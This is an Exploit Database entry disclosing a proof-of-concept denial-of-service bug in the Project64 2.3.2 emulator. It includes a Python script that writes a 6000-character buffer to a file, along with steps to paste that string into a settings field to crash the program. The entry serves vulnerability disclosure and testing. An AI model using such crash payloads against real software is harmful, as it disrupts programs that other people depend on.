



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

Project64 2.3.2 - Denial Of Service (PoC)

EDB-ID:

45229

CVE:

N/A

EDB Verified: ✓

Author:

[GIONATHAN REALE](#)

Type:

[DOS](#)

Exploit:   / 

Platform:

[WINDOWS_X86](#)

Date:

2018-08-21

Vulnerable App:



 EXPLOIT DATABASE EXPLOITS GHDB PAPERS SHELLCODES SEARCH EDB SEARCHSPLOIT MANUAL SUBMISSIONS ONLINE TRAINING

```
# Exploit Title: Project64 2.3.2 - Denial Of Service (PoC).
# Author: Gionathan "John" Reale
# Discover Date: 2018-08-21
# Homepage: https://www.pj64-emu.com
# Software Link:https://www.pj64-emu.com/download/project64-latest
# Tested Version: 2.3.2
# Tested on OS: Windows 7 32-bit
# Steps to Reproduce: Run the python exploit script, it will create a new
# file with the name "exploit.txt" just copy the text inside "exploit.txt"
# and start the program. In the new window click "Options" > "Settings" >
"Directories". Now paste the content of
# "exploit.txt" into the field:"Plugin Directory" and make sure it is
selected. Click "Apply" > "Ok" and then reopen "Options" > "Settings" you
will see a crash.
```

```
#!/usr/bin/python
```

```
buffer = "A" * 6000
```

```
payload = buffer
```

```
try:
```

```
    f=open("exploit.txt","w")
```

```
    print "[+] Creating %s bytes evil payload.." %len(payload)
```

```
    f.write(payload)
```

```
    f.close()
```

```
    print "[+] File created!"
```

```
except:
```

```
    print "File cannot be created"
```

Tags: [Denial of Service \(DoS\)](#)

Advisory/Source: [Link](#)



Databases ▾

Links ▾

Sites ▾

Solutions ▾



EXPLOIT DATABASE BY OFFSEC

[TERMS](#)

[PRIVACY](#)

[ABOUT US](#)

[FAQ](#)

[COOKIES](#)

©

[OffSec Services Limited](#) 2026. All rights reserved.